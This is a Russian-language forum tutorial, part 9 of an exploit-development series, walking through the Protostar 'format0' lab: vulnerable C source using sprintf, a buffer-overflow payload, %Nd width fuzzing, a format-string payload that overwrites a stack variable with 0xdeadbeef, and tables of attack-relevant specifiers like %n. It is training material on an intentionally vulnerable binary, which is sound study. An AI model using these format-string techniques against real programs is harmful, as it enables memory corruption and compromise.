Статья Уязвимости форматных строк и перезапись переменных к конкретному значению - разработка эксплойтов, часть 9

fuzzz

fuzzz

Red Team
03.02.2019
180
318
Доброго времени суток посетители портала Codeby. Предыдущей статье мы познакомились с ROP. Для обхода ограничения в адресах мы воспользовались ret инструкцией. И хоть тема ROP была освящена не во всей красе, мы к ней еще вернемся. В этой статье мы будем знакомиться с уязвимостями форматных строк и посмотрим к каким последствиям может привести данные баги. И так...


Описание ExploitMe
Этот уровень вводит строки формата и то, как предоставленные злоумышленником строки формата могут изменять ход выполнения программ.

Советы
  • Этот уровень должен быть выполнен менее чем за 10 байтов ввода.
  • «Использование уязвимостей форматной строки»
Этот уровень находится в / opt / protostar / bin / format0

,

Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);

  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}
Решение
Для начала рассмотрим данный нам код программы для того, чтобы понять как это всё дело работает. Начнем как всегда устного анализа. Есть две функции main() и vuln(). В свою очередь, главная функция main() вызывает функцию vuln(), Функция vuln() принимает строку, через аргумент из главной функции. В теле функции vuln(), есть целочисленная переменная target, есть буфер на 64 байта. По мимо всего это присутствует некая функция sprintf(), а так же есть условие if.

Суть задачи в том, что нам надо установить переменную target к значению 0xdeadbeef, как мы догадались из условия if, после, чего на экране должна отобразится строка "you have hit the target correctly :)". Которую мы уже видели в свое время, когда работали с переполнение буфера в стеке. Т.е. мы изменяли значение переменной к конкретному значению. Это задание аналогичное. Но вот беда. Тут нету функции gets() и strcpy(). Как быть? Я думаю, что первое, что надо сделать, это посмотреть описание функции sprintf() которая взаимодействует с буфером.

И так, вот краткое описание функции sprintf().

Функция sprintf() идентична printf(), за исключением того, что вывод производится в массив, указанный аргументом buf.

Код:
sprintf(приемник, источник)
Возвращаемая величина равна количеству символов, действительно занесенных в массив.

Из этого следует, что мы можешь писать в буфер данные.

Давайте попробуем.

Запустим программу и введем последовательность символом из "AAAAAAAAAAAAAAAAAAA...."

29947


Так становится ясно, функция sprintf() тоже не проверяет границы. Она аналогичная функции gets().

Поэтому мы можем выполнить это задание проэксплуатировав уязвимость переполнение буфера.

Эксплуатация уязвимости будет выглядить следующим образом

Код:
./format0 `python -c 'print "A"*64 + "\xde\xad\xbe\xef"[::-1]'`
Результат будет таким

29948


На экране отобразилась строчка "you have hit the target correctly :)". Класс...

Но цель задания знакомство с уязвимостями форматирования, т.е. форматных строк.

Уязвимости форматных строк – это довольно обширный класс уязвимостей, которые возникают и могут быть проэксплуатированы вследствие ошибок программистов. Если программист передаёт контролируемый атакующим буфер в качестве аргумента функции printf() (или другую связанную с ней функцию такую, как, например, sprintf(), fprintf()), то злоумышленник может выполнять запись в произвольные места в памяти.

Один из методов использования строк формата очень похож на переполнение буфера. Вы можете записать большую строку в буфер с относительно короткой строкой формата.

Например, строка формата %100d приводит к 100-байтовой строке.

Используя этот трюк, можно просто писать в buffer и в target. Мы хотим создать строку формата , который записывает 64 символа с последующим 0xdeadbeef, что приведет к перезаписи target.

Давайте поэкспериментируем с этим трюком.

Код:
$ ./format0 %100d
Segmentation fault
$ ./format0 %50d
$ ./format0 %64d
$ ./format0 %65d
$ ./format0 %68d
$ ./format0 %69d
$ ./format0 %80d
Segmentation fault
$ ./format0 %79d
Segmentation fault
$ ./format0 %76d
Segmentation fault
$ ./format0 %75d
Результат будет таким

29949


Видно что мы можем даже перезаписать регистр EIP используя %76d.

Но наша задача сейчас не в этом, а понять как можно реализовать баги форматных строк.


Эксплуатация будет выглядеть и состоять из 3 составляющих.

Код:
./format0 %64d
$() - известная нам баш конструкция для подстановки значения.
python -c 'from struct import pack;print pack("I",0xdeadbeef)'  - наше значение которое попадет в переменную target
А всё в месте это будет выглядеть таким образом...
Код:
./format0 %64d$(python -c 'from struct import pack;print pack("I",0xdeadbeef)')
Результат будет таким

29950


Отлично на экране отобразилась строчка "you have hit the target correctly :)"


Ниже приведены некоторые параметры формата как и в случае %100d, которые можно использовать, и их последствия:

• «%x» Чтение данных из стека
• "%s" Чтение символьных строк из памяти процесса
• «%n» записать целое число в места в памяти процесса


Функция sprintf() не единственная функция в своем роде, есть и другие функции которые подтвержены уязвимостям форматных строк. Ниже приведена табличка.

Таблица 1. Функции форматирования

Функция форматированияОписание
fprintЗаписывает печать в файл
printfВывести отформатированную строку
sprintfПечать в строку
snprintfПечатает в строку, проверяя длину
vfprintfРаспечатывает структуру va_arg в файл
vprintfПечатает структуру va_arg в стандартный вывод
vsprintfПечатает va_arg в строку
vsnprintfПечатает va_arg в строку, проверяя длину


Чтобы определить, уязвимо ли приложение для этого типа атак, необходимо проверить, принимает ли функция форматирования и анализирует ли параметры строки формата, показанные в таблице 2.


Таблица 2. Общие параметры, используемые при атаке форматной строки.

параметрыВыводПроходит как
%%% символьный (буквальный) форматCсылка
%pВнешнее представление указателя на voidCсылка
%dДесятичный форматЗначение
%cСимвольный формат
%uДесятичный без знака форматЗначение
%xШестнадцатеричный форматЗначение
%sСтрокаCсылка
%nЗаписывает количество символов в указательCcылка

Для более детального ознакомления нужно заглянуть на . На этом всё. Можно переходить к следующему заданию .
 
Последнее редактирование:
fuzzz

fuzzz

Red Team
03.02.2019
180
318
Кстати на PHDays9
Будет интересный доклад по уязвимостям форматных строк
Советую сходить.
 
rink0

rink0

Well-known member
28.11.2017
58
54
Ох лол.
Спасибо что заметил )))
Я подправил...
пожалуйста))
я статью на тг канал хотел опубликовать, вижу 10 часть, я так стопээ, я вроде 9 не публиковал, пытался найти, но не нашёл, и понял что косяк))
 
  • Нравится
Реакции: fuzzz
Мы в соцсетях: